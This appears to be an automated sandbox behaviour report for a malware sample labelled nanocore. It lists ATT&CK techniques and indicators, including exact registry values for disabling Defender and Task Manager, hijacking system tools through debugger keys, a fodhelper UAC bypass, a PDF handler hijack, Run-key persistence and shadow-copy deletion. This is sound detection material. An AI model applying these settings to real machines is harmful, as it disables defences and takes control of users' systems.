nanocore | 15c383a192a700199c4f69e855b302a7e64750f7765652cb37e5c170c32c5555

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	xoilactv.social_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3564	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	xoilactv.social_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	xoilactv.social_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe"	xoilactv.social_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe"	xoilactv.social_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe"	xoilactv.social_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
396	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	xoilactv.social_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	xoilactv.social_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	xoilactv.social_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe"	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe"	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe"	xoilactv.social_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1452	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	xoilactv.social_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	xoilactv.social_chrome.exe
File created	C:\Windows\system32\svchost.exe	xoilactv.social_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2372	wscript.exe
2220	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	xoilactv.social_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5612	sc.exe
2372	sc.exe
5768	sc.exe
2420	sc.exe
4908	sc.exe
3300	sc.exe
4748	sc.exe
3104	sc.exe
4856	sc.exe
1496	sc.exe
2636	sc.exe
4884	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1852	cmd.exe
3928	cmd.exe
5588	cmd.exe
5644	cmd.exe
5956	cmd.exe
3220	cmd.exe
3344	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1072	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
300	NETSTAT.EXE
4956	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3580	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3268	vssadmin.exe
388	vssadmin.exe
3940	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Control Panel\Desktop\WallpaperStyle = "2"	xoilactv.social_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302859767099871"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe\" \"%1\""	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\xoilactv.social_chrome.exe"	xoilactv.social_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command	xoilactv.social_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	xoilactv.social_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	xoilactv.social_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open	xoilactv.social_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell	xoilactv.social_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command	xoilactv.social_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings	xoilactv.social_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell	xoilactv.social_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings\shell\open\command\DelegateExecute	xoilactv.social_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\ms-settings	xoilactv.social_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	xoilactv.social_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	xoilactv.social_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5632	schtasks.exe
352	schtasks.exe
2784	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4180	chrome.exe
4180	chrome.exe
3564	powershell.exe
3564	powershell.exe
3564	powershell.exe
616	WMIC.exe
616	WMIC.exe
616	WMIC.exe
616	WMIC.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
6104	WMIC.exe
6104	WMIC.exe
6104	WMIC.exe
6104	WMIC.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4596	WMIC.exe
4596	WMIC.exe
4596	WMIC.exe
4596	WMIC.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe
4440	xoilactv.social_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4440	xoilactv.social_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4180	chrome.exe
Token: SeCreatePagefilePrivilege	4180	chrome.exe
Token: SeShutdownPrivilege	4180	chrome.exe
Token: SeCreatePagefilePrivilege	4180	chrome.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeShutdownPrivilege	4180	chrome.exe
Token: SeCreatePagefilePrivilege	4180	chrome.exe
Token: SeShutdownPrivilege	4180	chrome.exe
Token: SeCreatePagefilePrivilege	4180	chrome.exe
Token: SeShutdownPrivilege	4180	chrome.exe
Token: SeCreatePagefilePrivilege	4180	chrome.exe
Token: SeShutdownPrivilege	4180	chrome.exe
Token: SeCreatePagefilePrivilege	4180	chrome.exe
Token: SeIncreaseQuotaPrivilege	616	WMIC.exe
Token: SeSecurityPrivilege	616	WMIC.exe
Token: SeTakeOwnershipPrivilege	616	WMIC.exe
Token: SeLoadDriverPrivilege	616	WMIC.exe
Token: SeSystemProfilePrivilege	616	WMIC.exe
Token: SeSystemtimePrivilege	616	WMIC.exe
Token: SeProfSingleProcessPrivilege	616	WMIC.exe
Token: SeIncBasePriorityPrivilege	616	WMIC.exe
Token: SeCreatePagefilePrivilege	616	WMIC.exe
Token: SeBackupPrivilege	616	WMIC.exe
Token: SeRestorePrivilege	616	WMIC.exe
Token: SeShutdownPrivilege	616	WMIC.exe
Token: SeDebugPrivilege	616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	616	WMIC.exe
Token: SeRemoteShutdownPrivilege	616	WMIC.exe
Token: SeUndockPrivilege	616	WMIC.exe
Token: SeManageVolumePrivilege	616	WMIC.exe
Token: 33	616	WMIC.exe
Token: 34	616	WMIC.exe
Token: 35	616	WMIC.exe
Token: 36	616	WMIC.exe
Token: SeBackupPrivilege	1584	vssvc.exe
Token: SeRestorePrivilege	1584	vssvc.exe
Token: SeAuditPrivilege	1584	vssvc.exe
Token: SeIncreaseQuotaPrivilege	616	WMIC.exe
Token: SeSecurityPrivilege	616	WMIC.exe
Token: SeTakeOwnershipPrivilege	616	WMIC.exe
Token: SeLoadDriverPrivilege	616	WMIC.exe
Token: SeSystemProfilePrivilege	616	WMIC.exe
Token: SeSystemtimePrivilege	616	WMIC.exe
Token: SeProfSingleProcessPrivilege	616	WMIC.exe
Token: SeIncBasePriorityPrivilege	616	WMIC.exe
Token: SeCreatePagefilePrivilege	616	WMIC.exe
Token: SeBackupPrivilege	616	WMIC.exe
Token: SeRestorePrivilege	616	WMIC.exe
Token: SeShutdownPrivilege	616	WMIC.exe
Token: SeDebugPrivilege	616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	616	WMIC.exe
Token: SeRemoteShutdownPrivilege	616	WMIC.exe
Token: SeUndockPrivilege	616	WMIC.exe
Token: SeManageVolumePrivilege	616	WMIC.exe
Token: 33	616	WMIC.exe
Token: 34	616	WMIC.exe
Token: 35	616	WMIC.exe
Token: 36	616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3564	powershell.exe
Token: SeSecurityPrivilege	3564	powershell.exe
Token: SeTakeOwnershipPrivilege	3564	powershell.exe
Token: SeLoadDriverPrivilege	3564	powershell.exe
Token: SeSystemProfilePrivilege	3564	powershell.exe
Token: SeSystemtimePrivilege	3564	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe
4180	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4440	xoilactv.social_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 4180	4440	xoilactv.social_chrome.exe	89
PID 4180 wrote to memory of 5068	4180	chrome.exe	90
PID 4440 wrote to memory of 3564	4440	xoilactv.social_chrome.exe	91
PID 4440 wrote to memory of 5612	4440	xoilactv.social_chrome.exe	93
PID 4440 wrote to memory of 2372	4440	xoilactv.social_chrome.exe	164
PID 4180 wrote to memory of 4524	4180	chrome.exe	96
PID 4180 wrote to memory of 4524	4180	chrome.exe	96
PID 4180 wrote to memory of 1072	4180	chrome.exe	97
PID 4180 wrote to memory of 4688	4180	chrome.exe	98
PID 4180 wrote to memory of 4688	4180	chrome.exe	98
PID 4180 wrote to memory of 276	4180	chrome.exe	100
PID 4180 wrote to memory of 276	4180	chrome.exe	100
PID 4180 wrote to memory of 352	4180	chrome.exe	135
PID 4180 wrote to memory of 352	4180	chrome.exe	135
PID 4440 wrote to memory of 4748	4440	xoilactv.social_chrome.exe	103
PID 4440 wrote to memory of 3104	4440	xoilactv.social_chrome.exe	105
PID 4180 wrote to memory of 1748	4180	chrome.exe	107
PID 4180 wrote to memory of 1748	4180	chrome.exe	107
PID 4440 wrote to memory of 4856	4440	xoilactv.social_chrome.exe	108
PID 4440 wrote to memory of 5768	4440	xoilactv.social_chrome.exe	110
PID 4440 wrote to memory of 2420	4440	xoilactv.social_chrome.exe	112
PID 4440 wrote to memory of 4908	4440	xoilactv.social_chrome.exe	114
PID 4440 wrote to memory of 4316	4440	xoilactv.social_chrome.exe	116
PID 4180 wrote to memory of 4928	4180	chrome.exe	117
PID 4180 wrote to memory of 4928	4180	chrome.exe	117
PID 4440 wrote to memory of 1496	4440	xoilactv.social_chrome.exe	118
PID 4440 wrote to memory of 2636	4440	xoilactv.social_chrome.exe	120
PID 4316 wrote to memory of 3012	4316	fodhelper.exe	121
